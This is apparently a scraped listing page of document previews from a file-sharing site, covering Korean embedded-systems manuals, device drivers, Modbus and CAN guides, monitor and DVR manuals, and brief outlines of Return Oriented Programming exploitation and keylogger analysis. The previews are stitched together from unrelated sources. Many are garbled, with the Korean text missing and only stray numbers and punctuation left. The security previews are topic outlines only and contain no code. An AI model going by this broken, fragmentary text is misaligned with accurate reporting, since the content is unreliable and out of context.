Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II
More informationCPX-E-EC_BES_C_ _ k1
CPX-E CPX-E-EC EtherCAT 8071155 2017-07 [8075310] CPX-E-EC CPX-E-EC-KO EtherCAT, TwinCAT (). :, 2 Festo CPX-E-EC-KO 2017-07 CPX-E-EC 1... 4 1.1... 4 1.2... 4 1.3... 4 1.4... 5 1.5... 5 2... 6 2.1... 6
More information휠세미나3 ver0.4
andromeda@sparcs:/$ ls -al dev/sda* brw-rw---- 1 root disk 8, 0 2014-06-09 18:43 dev/sda brw-rw---- 1 root disk 8, 1 2014-06-09 18:43 dev/sda1 brw-rw---- 1 root disk 8, 2 2014-06-09 18:43 dev/sda2 andromeda@sparcs:/$
More information1217 WebTrafMon II
(1/28) (2/28) (10 Mbps ) Video, Audio. (3/28) 10 ~ 15 ( : telnet, ftp ),, (4/28) UDP/TCP (5/28) centralized environment packet header information analysis network traffic data, capture presentation network
More informationCAN-fly Quick Manual
adc-171 Manual Ver.1.0 2011.07.01 www.adc.co.kr 2 contents Contents 1. adc-171(rn-171 Pack) 개요 2. RN-171 Feature 3. adc-171 Connector 4. adc-171 Dimension 5. Schematic 6. Bill Of Materials 7. References
More information임베디드시스템설계강의자료 4 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과
임베디드시스템설계강의자료 4 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 Outline n n n n n n 보드개요보드연결필수패키지, Tool-Chain 설치 Kernel, file system build Fastboot 및 Tera Term설치 Kernel, file system 이미지전송및설치 - 2 - Young-Jin Kim X-Hyper320TKU
More informationVZ94-한글매뉴얼
KOREAN / KOREAN VZ9-4 #1 #2 #3 IR #4 #5 #6 #7 ( ) #8 #9 #10 #11 IR ( ) #12 #13 IR ( ) #14 ( ) #15 #16 #17 (#6) #18 HDMI #19 RGB #20 HDMI-1 #21 HDMI-2 #22 #23 #24 USB (WLAN ) #25 USB ( ) #26 USB ( ) #27
More informationuntitled
CAN BUS RS232 Line Ethernet CAN H/W FIFO RS232 FIFO IP ARP CAN S/W FIFO TERMINAL Emulator COMMAND Interpreter ICMP TCP UDP PROTOCOL Converter TELNET DHCP C2E SW1 CAN RS232 RJ45 Power
More informationuntitled
EZ-TFT700(T) : EZ-TFT700(T) : Rev.000 Rev No. Page 2007/08/03 Rev.000 Rev.000. 2007/12/12 Rev.001 1.6 Allstech,,. EZ-TFT700(T). Allstech EZ-TFT700(T),,. EZ-TFT700(T) Allstech. < > EZ-TFT Information(13h)
More informationKEY 디바이스 드라이버
KEY 디바이스드라이버 임베디드시스템소프트웨어 I (http://et.smu.ac.kr et.smu.ac.kr) 차례 GPIO 및 Control Registers KEY 하드웨어구성 KEY Driver 프로그램 key-driver.c 시험응용프로그램 key-app.c KEY 디바이스드라이버 11-2 GPIO(General-Purpose Purpose I/O)
More informationBY-FDP-4-70.hwp
RS-232, RS485 FND Display Module BY-FDP-4-70-XX (Rev 1.0) - 1 - 1. 개요. 본 Display Module은 RS-232, RS-485 겸용입니다. Power : DC24V, DC12V( 주문사양). Max Current : 0.6A 숫자크기 : 58mm(FND Size : 70x47mm 4 개) RS-232,
More informationuntitled
Embedded System Lab. II Embedded System Lab. II 2 RTOS Hard Real-Time vs Soft Real-Time RTOS Real-Time, Real-Time RTOS General purpose system OS H/W RTOS H/W task Hard Real-Time Real-Time System, Hard
More informationSena Technologies, Inc. HelloDevice Super 1.1.0
HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision
More information망고100 보드로 놀아보자-4
망고 100 보드로놀아보자 -4 Minicom,tftp,nfs 설정,vnc 설정 minicom 설정 Minicom 설정 >#yum install minicom >#ls /dev/ttyusb* ># minicom s Minicom 설정 Serial Device :/dev/ttyusb0 Baudrate:115200 Hardware Flow control: NO
More informationK7VT2_QIG_v3
1......... 2 3..\ 4 5 [R] : Enter Raid setup utility 6 Press[A]keytocreateRAID RAID Type: JBOD RAID 0 RAID 1: 2 7 " RAID 0 Auto Create Manual Create: 2 RAID 0 Block Size: 16K 32K
More information목차 1. 개요... 3 2. USB 드라이버 설치 (FTDI DRIVER)... 4 2-1. FTDI DRIVER 실행파일... 4 2-2. USB 드라이버 확인방법... 5 3. DEVICE-PROGRAMMER 설치... 7 3-1. DEVICE-PROGRAMMER
< Tool s Guide > 목차 1. 개요... 3 2. USB 드라이버 설치 (FTDI DRIVER)... 4 2-1. FTDI DRIVER 실행파일... 4 2-2. USB 드라이버 확인방법... 5 3. DEVICE-PROGRAMMER 설치... 7 3-1. DEVICE-PROGRAMMER 실행파일... 7 4. DEVICE-PROGRAMMER 사용하기...
More informationPowerPoint 프레젠테이션
Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi
More information슬라이드 제목 없음
ETOS-DPS-X Guide AC&T SYSTEM 1 ETOS-DPS-X 개요 ETOS-DPS-X Field Bus Network 중 Profibus-DP Network 에연결되는장비. ProfiBus-DP Network 시스템에 DP 통신을지원하지않는현장장비에대한통신서버기능구현. Profibus-DP Slave 동작하기때문에반드시 DP-Master 모듈이있는시스템에서적용가능.
More informationMicrosoft Word - FS_ZigBee_Manual_V1.3.docx
FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...
More informationOPCTalk for Hitachi Ethernet 1 2. Path. DCOMwindow NT/2000 network server. Winsock update win95. . . 3 Excel CSV. Update Background Thread Client Command Queue Size Client Dynamic Scan Block Block
More information인켈(국문)pdf.pdf
M F - 2 5 0 Portable Digital Music Player FM PRESET STEREOMONO FM FM FM FM EQ PC Install Disc MP3/FM Program U S B P C Firmware Upgrade General Repeat Mode FM Band Sleep Time Power Off Time Resume Load
More informationMango-IMX6Q mfgtool을 이용한 이미지 Write하기
Mango-IMX6Q mfgtool 을 이용한이미지 Write 하기 http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document
More informationhlogin7
0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function
More informationMicrosoft PowerPoint - ch07.ppt
chapter 07. 시스코라우터기본동작 한빛미디어 -1- 학습목표 시스코라우터외적, 내적구성요소 시스코라우터부팅단계 시스코라우터명령어모드 한빛미디어 -2- 시스코라우터구성요소 라우터외부구성요소 (1) [ 그림 ] 2600 라우터전면도 인터페이스카드 전원부 LED 라우터조건 한빛미디어 -3- 시스코라우터구성요소 라우터외부구성요소 (2) [ 그림 ] VTY 를이용한라우터접속
More informationLCD Monitor
LCD MONITOR quick start guide 400FP-2 460FP-2 400FPn-2 460FPn-2 ii Floor standing type) Note LCD Display MagicInfo Software CD MagicInfo Manual CD (FPn-2.) (AAA X 2) (FPn-2.) BNC to RCA (46.) D-Sub DVI
More informationBJFHOMINQJPS.hwp
제1 과목 : 디지털 전자회로 1. 다음 회로의 출력전류 Ic 의 안정에 대한 설명 중 옳지 않은 것 Ie를 크게 해치지 않는 범위 내에서 Re 가 크면 클수록 좋 출력파형이 크게 일그러지지 않는 범위 내에서 β 가 크면 클수록 좋 게르마늄 트랜지스터에서 Ico가 Ic 의 안정에 가장 큰 영향을 준 Rc는 Ic 의 안정에 큰 영향을 준 6. 비동기식 모드 (mode)-13
More informationuntitled
1... 2 System... 3... 3.1... 3.2... 3.3... 4... 4.1... 5... 5.1... 5.2... 5.2.1... 5.3... 5.3.1 Modbus-TCP... 5.3.2 Modbus-RTU... 5.3.3 LS485... 5.4... 5.5... 5.5.1... 5.5.2... 5.6... 5.6.1... 5.6.2...
More information1. GigE Camera Interface를 위한 최소 PC 사양 CPU : Intel Core 2 Duo, 2.4GHz이상 RAM : 2GB 이상 LANcard : Intel PRO/1000xT 이상 VGA : PCI x 16, VRAM DDR2 RAM 256MB
Revision 1.0 Date 11th Nov. 2013 Description Established. Page Page 1 of 9 1. GigE Camera Interface를 위한 최소 PC 사양 CPU : Intel Core 2 Duo, 2.4GHz이상 RAM : 2GB 이상 LANcard : Intel PRO/1000xT 이상 VGA : PCI x
More information歯FDA6000COP.PDF
OPERATION MANUAL AC Servo Drive FDA6000COP [OPERATION UNIT] Ver 1.0 (Soft. Ver. 8.00 ~) FDA6000C Series Servo Drive OTIS LG 1. 1.1 OPERATION UNIT FDA6000COP. UNIT, FDA6000COP,,,. 1.1.1 UP DOWN ENTER 1.1.2
More information歯메뉴얼v2.04.doc
1 SV - ih.. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 - - - 23 24 R S T G U V W P1 P2 N R S T G U V W P1 P2 N R S T G U V W P1 P2 N 25 26 DC REACTOR(OPTION) DB UNIT(OPTION) 3 φ 220/440 V 50/60
More informationCPX-E-SYS_BES_C_ _ k1
CPX-E 8727 27-7 [875294] CPX-E-SYS-KO CODESYS, PI PROFIBUS PROFINET (). :, 2 Festo CPX-E-SYS-KO 27-7 ... 5.... 5.2... 5.3... 5.4... 5.5... 5 2... 6 2.... 6 2..... 6 2..2 CPX-E... 7 2..3 CPX-E... 9 2..4...
More informationMPLAB C18 C
MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C
More information제품소개 MODBUS Tester 는 MODBUS 프로토콜을사용하는산업장비테스트및점검하기위해 PC 를휴대및설치할필요없이쉽고빠르게장비와연결하여원하는작업을진행할수있도록휴대성을강조한 MODBUS 프로토콜테스트장치입니다. MODBUS Tester 에는 3 가지의기능이지원되며,
MODBUS Tester ( 사용자메뉴얼 ) RealSYS V1.02 1 제품소개 MODBUS Tester 는 MODBUS 프로토콜을사용하는산업장비테스트및점검하기위해 PC 를휴대및설치할필요없이쉽고빠르게장비와연결하여원하는작업을진행할수있도록휴대성을강조한 MODBUS 프로토콜테스트장치입니다. MODBUS Tester 에는 3 가지의기능이지원되며, Master 모드기능을통해각종장비의데이터정보를읽어오거나제어및데이터쓰기를할수있으며,
More informationMango24R2 Auto Write
Mango24R2 Auto Write http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document History Revision
More informationMicrosoft PowerPoint - es-arduino-lecture-03
임베디드시스템개론 : Arduino 활용 Lecture #3: Button Input & FND Control 2012. 3. 25 by 김영주 강의목차 디지털입력 Button switch 입력 Button Debounce 7-Segment FND : 직접제어 7-Segment FND : IC 제어 2 디지털입력 : Switch 입력 (1) 실습목표 아두이노디지털입력처리실습
More informationez-md+_manual01
ez-md+ HDMI/SDI Cross Converter with Audio Mux/Demux Operation manual REVISION NUMBER: 1.0.0 DISTRIBUTION DATE: NOVEMBER. 2018 저작권 알림 Copyright 2006~2018 LUMANTEK Co., Ltd. All Rights Reserved 루먼텍 사에서
More information[8051] 강의자료.PDF
CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4
More informationDSP_MON 프로그램 메뉴얼
UART_CAN Analyzer 윈도우 프로그램 사용자 메뉴얼 리얼시스 TEL : 031-420-4326 FAX : 031-420-4329 주소 : 경기도 안양시 동안구 관양동 799 안양메가밸리 319호 - 1 - UART_CAN Analyzer 제품을 구입해 주셔서 감사합니다. 본 제품을 구입하신 고객께서는 먼저 사용 설명서를 잘 읽어 보시고 제품을 사용하여
More information안전을 위한 주의사항 제품을 올바르게 사용하여 위험이나 재산상의 피해를 미리 막기 위한 내용이므로 반드시 지켜 주시기 바랍니다. 2 경고 설치 관련 지시사항을 위반했을 때 심각한 상해가 발생하거나 사망에 이를 가능성이 있는 경우 설치하기 전에 반드시 본 기기의 전원을
Digital Video Recorder 간편설명서 XD3316 안전을 위한 주의사항 제품을 올바르게 사용하여 위험이나 재산상의 피해를 미리 막기 위한 내용이므로 반드시 지켜 주시기 바랍니다. 2 경고 설치 관련 지시사항을 위반했을 때 심각한 상해가 발생하거나 사망에 이를 가능성이 있는 경우 설치하기 전에 반드시 본 기기의 전원을 차단하고, 전원 플러그를 동시에
More information한글사용설명서
ph 2-Point (Probe) ph (Probe) ON/OFF ON ph ph ( BUFFER ) CAL CLEAR 1PT ph SELECT BUFFER ENTER, (Probe) CAL 1PT2PT (identify) SELECT BUFFER ENTER, (Probe), (Probe), ph (7pH)30 2 1 2 ph ph, ph 3, (,, ) ON
More informationPowerPoint 프레젠테이션
임베디드리눅스개발환경실습 Jo, Heeseung 타겟보드모니터링동작실습 호스트 PC 에서시리얼포트를통해서타겟보드를모니터링 타겟보드가프로그램을실행하는동안일어나는일을시리얼포트로메시지를출력하면호스트 PC 에서는시리얼포트를통해메시지를수신하여이를화면에출력 minicom 프로그램사용 - minicom 이정상적으로설정이되고, 타겟보드에최소한부트로더가올라간상태라면 minicom
More informationDE1-SoC Board
실습 1 개발환경 DE1-SoC Board Design Tools - Installation Download & Install Quartus Prime Lite Edition http://www.altera.com/ Quartus Prime (includes Nios II EDS) Nios II Embedded Design Suite (EDS) is automatically
More informationMicrosoft Word _whitepaper_latency_throughput_v1.0.1_for_
Sena Technologies 백서 : Latency/Throughput Test September 11, 2008 Copyright Sena Technologies, Inc 2008 All rights strictly reserved. No part of this document may not be reproduced or distributed without
More informationPowerPoint Presentation
Korea Tech Conference 2005 년 5 월 14 일, 서울 2005 년 5 월 14 일 CE Linux Forum Korea Tech Conference 1 Parallel port 를이용한가전제품 제어 임효준 LG 전자 imhyo@lge.com 2005 년 5 월 14 일 CE Linux Forum Korea Tech Conference 2
More informationCD-RW_Advanced.PDF
HP CD-Writer Program User Guide - - Ver. 2.0 HP CD-RW Adaptec Easy CD Creator Copier, Direct CD. HP CD-RW,. Easy CD Creator 3.5C, Direct CD 3.0., HP. HP CD-RW TEAM ( 02-3270-0803 ) < > 1. CD...3 CD...5
More informationMicrosoft PowerPoint - polling.pptx
지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식
More informationPRO1_09E [읽기 전용]
Siemens AG 1999 All rights reserved File: PRO1_09E1 Information and - ( ) 2 3 4 5 Monitor/Modify Variables" 6 7 8 9 10 11 CPU 12 Stop 13 (Forcing) 14 (1) 15 (2) 16 : 17 : Stop 18 : 19 : (Forcing) 20 :
More informationC 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12
More informationMODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1
SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 100) 1 Contents 1 INTRODUCTION 2 PROTOCOL FRAME OUTLINE 3 FUNCTION FIELD 4 DATA FIELD 5 CRC CHECK 6 FUNCTION EXAM 7 EXCEPTION RESPONSE 8 I/O STATUS
More informationLCD Monitor
LCD MONITOR quick start guide 320TSn-2 ii Floor standing type) LCD Display D-Sub AAA X 2) 8 DVI KIT LAN TV Note TV MENU MENU] 9 ENTER ENTER] SOURCE SOURCE] [PC DVI HDMI MagicInfo] TV TV D.MENU D.MENU TV
More information2005 2004 2003 2002 2001 2000 Security Surveillance Ubiquitous Infra Internet Infra Telematics Security Surveillance Telematics Internet Infra Solutions Camera Site (NETWORK) Monitoring & Control
More information목차 1. 제품 소개... 4 1.1 특징... 4 1.2 개요... 4 1.3 Function table... 5 2. 기능 소개... 6 2.1 Copy... 6 2.2 Compare... 6 2.3 Copy & Compare... 6 2.4 Erase... 6 2
유영테크닉스( 주) 사용자 설명서 HDD014/034 IDE & SATA Hard Drive Duplicator 유 영 테 크 닉 스 ( 주) (032)670-7880 www.yooyoung-tech.com 목차 1. 제품 소개... 4 1.1 특징... 4 1.2 개요... 4 1.3 Function table... 5 2. 기능 소개... 6 2.1 Copy...
More information하드웨어 해커가 되어보자!
하드웨어해커가되어보자! 정구홍 (mongii) GRAYHASH 수석연구원 cybermong@grayhash.com https://www.facebook.com/goohong.jung 발표자소개 보안커뮤니티해커스쿨운영자 정보보안업체 GRAYHASH 수석연구원 BoB 보안인재양성프로그램멘토 발표내용 다양한하드웨어해킹기술들을단계별로정리 하드웨어해킹공부방법소개 Hardware
More informationSolaris Express Developer Edition
Solaris Express Developer Edition : 2008 1 Solaris TM Express Developer Edition Solaris OS. Sun / Solaris, Java, Web 2.0,,. Developer Solaris Express Developer Edition System Requirements. 768MB. SPARC
More informationMicrocontrollerAcademy_Lab_ST_040709
Micro-Controller Academy Program Lab Materials STMicroelectronics ST72F324J6B5 Seung Jun Sang Sa Ltd. Seung Jun Sang Sa Ltd. Seung Jun Sang Sa Ltd. Seung Jun Sang Sa Ltd. Seung Jun Sang Sa Ltd. Seung Jun
More informationInteg
HP Integrity HP Chipset Itanium 2(Processor 9100) HP Integrity HP, Itanium. HP Integrity Blade BL860c HP Integrity Blade BL870c HP Integrity rx2660 HP Integrity rx3600 HP Integrity rx6600 2 HP Integrity
More informationUSB 케이블만을이용한리눅스 NFS 개발환경 (VirtualBox) 최초작성 : 2010 년 10 월 21 일 작성자 : 김정현 수정내용 최초작성 by 김정현 스크립트추가, 설명보충 by 유형목 1. VritualBox
USB 케이블만을이용한리눅스 NFS 개발환경 (VirtualBox) 최초작성 : 2010 년 10 월 21 일 작성자 : 김정현 수정내용 2010. 10. 21. 최초작성 by 김정현 2010. 10. 24. 스크립트추가, 설명보충 by 유형목 1. VritualBox 설정 Windows 환경에서 VirtualBox 를설치한다음게스트 OS 로우분투리눅스를사용하는경우,
More informationMango64R3 How to write Wince 6.0
Mango64R3 How to write Wince 6.0 http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document
More informationContents I. 칼라스 네트워크 플레이어란 1. Pc-Fi를 넘어서 발전한 차세대 음악 플레이어 ---------------- 4 2. 칼라스 네트워크 플레이어의 장점 3. 시스템 기본 구성 ------------------------ 6 -------------
[ CALLAS Network Player ] Owner s Manual ( 주 ) 금 잔 디 음 향 예.술.을.담.는.스.피.커.과.학 Contents I. 칼라스 네트워크 플레이어란 1. Pc-Fi를 넘어서 발전한 차세대 음악 플레이어 ---------------- 4 2. 칼라스 네트워크 플레이어의 장점 3. 시스템 기본 구성 ------------------------
More informationOrcad Capture 9.x
OrCAD Capture Workbook (Ver 10.xx) 0 Capture 1 2 3 Capture for window 4.opj ( OrCAD Project file) Design file Programe link file..dsn (OrCAD Design file) Design file..olb (OrCAD Library file) file..upd
More information슬라이드 1
사용 전에 사용자 주의 사항을 반드시 읽고 정확하게 지켜주시기 바랍니다. 사용설명서의 구성품 형상과 색상은 실제와 다를 수 있습니다. 사용설명서의 내용은 제품의 소프트웨어 버전이나 통신 사업자의 사정에 따라 다를 수 있습니다. 본 사용설명서는 저작권법에 의해 보호를 받고 있습니다. 본 사용설명서는 주식회사 블루버드소프트에서 제작한 것으로 편집 오류, 정보 누락
More informationLCD Display
LCD Display SyncMaster 460DRn, 460DR VCR DVD DTV HDMI DVI to HDMI LAN USB (MDC: Multiple Display Control) PC. PC RS-232C. PC (Serial port) (Serial port) RS-232C.. > > Multiple Display
More information/chroot/lib/ /chroot/etc/
구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어
More informationPowerChute Personal Edition v3.1.0 에이전트 사용 설명서
PowerChute Personal Edition v3.1.0 990-3772D-019 4/2019 Schneider Electric IT Corporation Schneider Electric IT Corporation.. Schneider Electric IT Corporation,,,.,. Schneider Electric IT Corporation..
More informationGetting Started 1 st Edition March 2004 Contents 1.EMPOS II QUICK START... 1 1.1. 1.2. 1.3. 1.4. 1.5. 1.6. 1.7. 1.8. 1.9....1...1...2 TextLcd...5 7 Segment...6 Led I/O...7 IP DEFAULT GATEWAY...8 WEB
More informationTEL:02)861-1175, FAX:02)861-1176 , REAL-TIME,, ( ) CUSTOMER. CUSTOMER REAL TIME CUSTOMER D/B RF HANDY TEMINAL RF, RF (AP-3020) : LAN-S (N-1000) : LAN (TCP/IP) RF (PPT-2740) : RF (,RF ) : (CL-201)
More informationMR-3000A-MAN.hwp
ITS Field Emulator for Traffic Local Controller [ MR-3000A ] User's Manual MORU Industrial Systems. www.moru.com - 1 - 1. 개요 MR-3000A는교통관제시스템에있어서현장용교통신호제어기의개발, 신호제어알고리즘의개발및검증, 교통신호제어기생산 LINE에서의자체검사수단등으로활용될수있도록개발된물리적모의시험장치이다.
More informationMicrosoft Word doc
2. 디바이스드라이버 [ DIO ] 2.1. 개요 타겟보드의데이터버스를이용하여 LED 및스위치동작을제어하는방법을설명하겠다. 2.2. 회로도 2.3. 준비조건 ARM 용크로스컴파일러가설치되어있어야한다. 하드웨어적인점검을하여정상적인동작을한다고가정한다. NFS(Network File System) 를사용할경우에는 NFS가마운트되어있어야한다. 여기서는소스전문을포함하지않았다.
More informationMicrosoft PowerPoint - 03-Development-Environment-2.ppt
개발환경 2 임베디드시스템소프트웨어 I 차례 부트로더의기능, 컴파일방법 커널의기능, 컴파일방법 파일시스템의기능, 생성방법 Host-KIT 네트워크연결방법 (Bootp, TFTP, NFS) 개발환경 2 2 부트로더의기능 하드웨어초기화 CPU clock, Memory Timing, Interrupt, UART, GPIO 등을초기화 커널로드 커널이미지를 flash
More information< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>
Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법
More information목차 제 1 장 inexio Touch Driver소개... 3 1.1 소개 및 주요 기능... 3 1.2 제품사양... 4 제 2 장 설치 및 실행... 5 2.1 설치 시 주의사항... 5 2.2 설치 권고 사양... 5 2.3 프로그램 설치... 6 2.4 하드웨
최종 수정일: 2010.01.15 inexio 적외선 터치스크린 사용 설명서 [Notes] 본 매뉴얼의 정보는 예고 없이 변경될 수 있으며 사용된 이미지가 실제와 다를 수 있습니다. 1 목차 제 1 장 inexio Touch Driver소개... 3 1.1 소개 및 주요 기능... 3 1.2 제품사양... 4 제 2 장 설치 및 실행... 5 2.1 설치 시
More information제1장 Unix란 무엇인가?
1 12 장파이프 2 12.1 파이프 파이프원리 $ who sort 파이프 3 물을보내는수도파이프와비슷 한프로세스는쓰기용파일디스크립터를이용하여파이프에데이터를보내고 ( 쓰고 ) 다른프로세스는읽기용파일디스크립터를이용하여그파이프에서데이터를받는다 ( 읽는다 ). 한방향 (one way) 통신 파이프생성 파이프는두개의파일디스크립터를갖는다. 하나는쓰기용이고다른하나는읽기용이다.
More information